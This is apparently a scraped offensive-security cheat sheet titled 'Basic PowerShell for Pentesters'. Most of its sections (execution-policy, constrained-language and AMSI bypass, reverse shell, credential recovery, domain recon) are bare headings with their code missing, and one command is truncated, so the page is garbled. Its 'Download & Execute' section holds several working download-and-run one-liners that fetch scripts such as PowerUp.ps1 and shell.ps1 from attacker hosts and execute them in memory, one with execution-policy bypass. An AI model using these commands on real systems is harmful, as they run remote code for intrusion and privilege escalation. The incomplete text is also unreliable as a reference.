Basic PowerShell for Pentesters

Default PowerShell locations

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Basic PS commands to start

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Download & Execute

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

Using b64 from linux

Download

System.Net.WebClient

Invoke-WebRequest

Wget

BitsTransfer

Base64 Kali & EncodedCommand

Execution Policy

By default it is set to restricted. Main ways to bypass this policy:

More can be found here

Constrained language

Bypass

In current Windows that Bypass won't work but you can use PSByPassCLM. To compile it you may need to Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\_31bf3856ad364e35\System.Management.Automation.dll_ and change the project to .Net4.5.

Direct bypass:

Reverse shell:

AppLockerPolicy

Check which files/extensions are blacklisted/whitelisted.

Enable WinRM (Remote PS)

Antivirus

PS-History

OS version and HotFixes

Environment

Other connected drives

Recycle Bin

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Domain Recon

PowerView

Users

Secure String to Plaintext

Or directly parsing form XML:

SUDO

Groups

Clipboard

Processes

Services

Password from secure string

Scheduled Tasks

Network

Interfaces

Route

ARP

Hosts

Ping

SNMP

AMSI bypass

Last updated